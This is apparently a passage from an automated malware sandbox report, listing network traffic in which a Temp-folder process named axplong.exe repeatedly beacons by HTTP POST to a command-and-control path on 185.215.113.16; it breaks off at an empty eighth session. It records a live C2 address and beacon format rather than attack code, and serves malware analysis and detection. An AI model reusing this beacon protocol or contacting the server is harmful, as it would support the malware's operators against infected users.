Sep 27, 2024 01:30:05.090009928 CEST	80	49763	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.090063095 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.090424061 CEST	80	49764	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.090601921 CEST	49764	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.133985996 CEST	49764	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.138891935 CEST	80	49764	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.786137104 CEST	80	49764	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.786319017 CEST	49764	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.896668911 CEST	49764	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.896987915 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.902199030 CEST	80	49764	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.902410984 CEST	80	49765	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.902461052 CEST	49764	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.902506113 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.902647972 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.907427073 CEST	80	49765	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:06.623245001 CEST	80	49765	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:06.623456955 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.626457930 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.626765966 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.631520033 CEST	80	49766	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:06.631580114 CEST	80	49765	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:06.631611109 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.631632090 CEST	49765	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.631886005 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:06.636722088 CEST	80	49766	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:07.335659027 CEST	80	49766	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:07.335726023 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.557830095 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.564416885 CEST	80	49766	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:07.568432093 CEST	49766	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.588582993 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.593419075 CEST	80	49767	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:07.593631983 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.594947100 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:07.599771976 CEST	80	49767	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:08.331073046 CEST	80	49767	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:08.331167936 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.334306002 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.334600925 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.339441061 CEST	80	49768	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:08.339453936 CEST	80	49767	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:08.339513063 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.339543104 CEST	49767	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.339634895 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:08.344409943 CEST	80	49768	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:09.146142006 CEST	80	49768	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:09.146195889 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.255831003 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.256174088 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.260942936 CEST	80	49768	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:09.260957003 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:09.261001110 CEST	49768	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.261029959 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.261218071 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:09.265916109 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.735990047 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.736207008 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.736929893 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.737061024 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.738190889 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.738315105 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.739702940 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.740071058 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.745831013 CEST	80	49770	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.745910883 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.745984077 CEST	80	49769	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:10.746217012 CEST	49769	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.746455908 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:10.751440048 CEST	80	49770	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:11.497175932 CEST	80	49770	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:11.497251034 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.616457939 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.617089987 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.621666908 CEST	80	49770	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:11.621716976 CEST	49770	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.621871948 CEST	80	49771	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:11.621929884 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.622029066 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:11.626713991 CEST	80	49771	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:12.326397896 CEST	80	49771	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:12.326478004 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.329912901 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.330202103 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.334897995 CEST	80	49771	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:12.334966898 CEST	80	49772	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:12.334975004 CEST	49771	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.335078001 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.335261106 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:12.339976072 CEST	80	49772	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.056163073 CEST	80	49772	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.056225061 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.167184114 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.167560101 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.172463894 CEST	80	49772	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.172482014 CEST	80	49773	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.172545910 CEST	49772	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.172772884 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.173177004 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.177939892 CEST	80	49773	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.871176004 CEST	80	49773	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.871259928 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.874805927 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.875118017 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.880080938 CEST	80	49773	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.880224943 CEST	49773	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.880263090 CEST	80	49774	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:13.880551100 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.880822897 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:13.885839939 CEST	80	49774	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:14.618988037 CEST	80	49774	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:14.619066000 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:14.725117922 CEST	49775	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:14.725471020 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:15.096714973 CEST	49774	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:15.724850893 CEST	80	49775	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:15.724917889 CEST	80	49774	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:15.724982977 CEST	49775	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:15.725775003 CEST	80	49774	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:15.725895882 CEST	49774	80	192.168.2.7	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 01:28:05.989511967 CEST	52929	53	192.168.2.7	1.1.1.1
Sep 27, 2024 01:28:07.503690958 CEST	62323	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 01:28:05.989511967 CEST	192.168.2.7	1.1.1.1	0x2a69	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 01:28:07.503690958 CEST	192.168.2.7	1.1.1.1	0xfa4c	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 01:28:05.996236086 CEST	1.1.1.1	192.168.2.7	0x2a69	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 01:28:07.510807037 CEST	1.1.1.1	192.168.2.7	0xfa4c	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:02.128978968 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:02.843842983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:02.871293068 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:03.102998972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:03.211956978 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:03.922878027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:03.923852921 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:04.152101994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:04.260428905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:05.128912926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:05.129687071 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:05.354912996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49710	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:05.464993954 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:06.154469967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:06.155379057 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:06.611717939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 01:29:06.627655983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49711	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:06.727642059 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:07.453269005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:07.454080105 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:07.688414097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49712	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:07.805768967 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:08.869272947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:08.869434118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:08.870712996 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:09.128109932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49713	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:09.243869066 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:10.046972036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:10.048017025 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:10.276238918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49714	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
